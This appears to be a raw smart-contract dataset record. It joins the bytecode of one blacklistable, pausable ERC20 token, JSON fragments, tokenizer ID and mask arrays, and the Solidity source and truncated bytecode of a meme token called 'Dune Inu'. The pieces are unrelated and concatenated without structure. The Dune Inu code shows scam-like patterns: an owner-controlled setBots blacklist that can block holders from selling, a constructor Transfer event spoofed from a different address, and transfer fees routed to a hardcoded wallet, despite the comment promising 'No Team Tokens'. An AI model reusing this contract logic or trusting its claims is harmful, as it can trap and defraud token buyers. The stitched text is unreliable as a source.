73ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b611605565b6001905092915050565b610b286115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610bf2611e55565b565b610c05610bff6115fd565b82611f5c565b50565b60016020528060005260406000206000915090505481565b60008060009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610cbe826040518060600160405280602481526020016125f560249139610caf86610caa6115fd565b611366565b611d0d9092919063ffffffff16565b9050610cd283610ccc6115fd565b83611605565b610cdc8383611f5c565b505050565b610ce96115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610db3612122565b565b610dbd6115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a250565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f3a6115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f2e5392b52e98bf05bdf3784aaec667371398a6ea4fb965a2894852471999bca960405160405180910390a250565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561111f5780601f106110f45761010080835404028352916020019161111f565b820191906000526020600020905b81548152906001019060200180831161110257829003601f168201915b5050505050905090565b6111316115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6111fd338261222a565b50565b60006112c361120d6115fd565b846112be8560405180606001604052806025815260200161268360259139600360006112376115fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0d9092919063ffffffff16565b611605565b6001905092915050565b60008060009054906101000a900460ff1615611351576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61135c3384846117fc565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f56115fd565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561153d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061255f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061265f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125856022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061263a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611908576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061251a6023913960400191505060405180910390fd5b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611a2d578173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2a04c84c100a93363ee2e1ab7076505a06b5dd417cccc0d6080ec8285e84f79e836040518082815260200191505060405180910390a36000611a28576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f596f757220426c61636b4c69737400000000000000000000000000000000000081525060200191505060405180910390fd5b611d08565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b52578173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fee75d149bb5e330e03f98b125aaa1efcd5864e4e2d5946f23dc6dd30630d5616836040518082815260200191505060405180910390a36000611b4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f726563697069656e7420426c61636b4c6973740000000000000000000000000081525060200191505060405180910390fd5b611d07565b611b5d8383836123f3565b611bc9816040518060600160405280602681526020016125a760269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0d9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b505050565b6000838311158290611dba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d7f578082015181840152602081019050611d64565b50505050905090810190601f168015611dac5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611e4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000809054906101000a900460ff16611ed6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611f196115fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126196021913960400191505060405180910390fd5b611fee826000836123f3565b61205a8160405180606001604052806022815260200161253d60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0d9092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b2816004546124ca90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900460ff16156121a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60016000806101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586121e76115fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6122d9600083836123f3565b6122ee81600454611dcd90919063ffffffff16565b60048190555061234681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6123fe838383612514565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124c557600954612450826124426108dd565b611dcd90919063ffffffff16565b11156124c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f636170206578636565646564000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b505050565b600061250c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d0d565b905092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203765d5cd8a5be88647609e0b53d36de48a30b917bdb3e7cc0d16d9ed9d468b9c64736f6c63430006060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 19481, 2692, 2575, 2050, 2581, 19481, 2497, 2683, 2629, 2050, 2575, 2475, 2094, 2692, 2575, 2063, 2575, 8447, 2063, 2692, 2629, 4402, 28154, 2575, 3207, 2620, 2546, 18139, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,830
0x9773830b612e7ce24b976d2a5b3968c2f82d7a97
/* - Developer provides LP, no presale - No Team Tokens, 30 day locked LP - 100% Stealth Launch website: https://duneinu.com/ telegram: https://t.me/DuneInu */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DuneInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Dune Inu"; string private constant _symbol = "DUNEINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x8F0ef7e61B9A5D52ff74435d9AfdF9780F42a9e5); _feeAddrWallet2 = payable(0x8F0ef7e61B9A5D52ff74435d9AfdF9780F42a9e5); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x697C1BaFB4FAC3e77937305C5a4c6DCa4af22a3a), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023a578063715018a61461025a5780638da5cb5b1461026f57806395d89b411461029757600080fd5b8063273123b7116100d1578063273123b7146101c7578063313ce567146101e95780635932ead1146102055780636fc3eaec1461022557600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600881526744756e6520496e7560c01b60208201525b604051610148919061178d565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611636565b610377565b6040519015158152602001610148565b34801561018d57600080fd5b50683635c9adc5dea000005b604051908152602001610148565b3480156101b357600080fd5b506101716101c23660046115f6565b61038e565b3480156101d357600080fd5b506101e76101e2366004611586565b6103f7565b005b3480156101f557600080fd5b5060405160098152602001610148565b34801561021157600080fd5b506101e7610220366004611728565b61044b565b34801561023157600080fd5b506101e7610493565b34801561024657600080fd5b50610199610255366004611586565b6104c0565b34801561026657600080fd5b506101e76104e2565b34801561027b57600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102a357600080fd5b5060408051808201909152600781526644554e45494e5560c81b602082015261013b565b3480156102d357600080fd5b506101716102e2366004611636565b610556565b3480156102f357600080fd5b506101e7610302366004611661565b610563565b34801561031357600080fd5b506101e7610607565b34801561032857600080fd5b506101e761063d565b34801561033d57600080fd5b5061019961034c3660046115be565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610384338484610a01565b5060015b92915050565b600061039b848484610b25565b6103ed84336103e88560405180606001604052806028815260200161195e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e72565b610a01565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b8152600401610421906117e0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b8152600401610421906117e0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610eac565b50565b6001600160a01b03811660009081526002602052604081205461038890610ee6565b6000546001600160a01b0316331461050c5760405162461bcd60e51b8152600401610421906117e0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b25565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610421906117e0565b60005b8151811015610603576001600660008484815181106105bf57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fb816118f3565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461062757600080fd5b6000610632306104c0565b90506104bd81610f6a565b6000546001600160a01b031633146106675760405162461bcd60e51b8152600401610421906117e0565b600f54600160a01b900460ff16156106c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106fe3082683635c9adc5dea00000610a01565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073757600080fd5b505afa15801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f91906115a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b757600080fd5b505afa1580156107cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ef91906115a2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083757600080fd5b505af115801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f91906115a2565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061089f816104c0565b6000806108b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091757600080fd5b505af115801561092b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109509190611760565b5050600f80546802b5e3af16b188000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c957600080fd5b505af11580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106039190611744565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561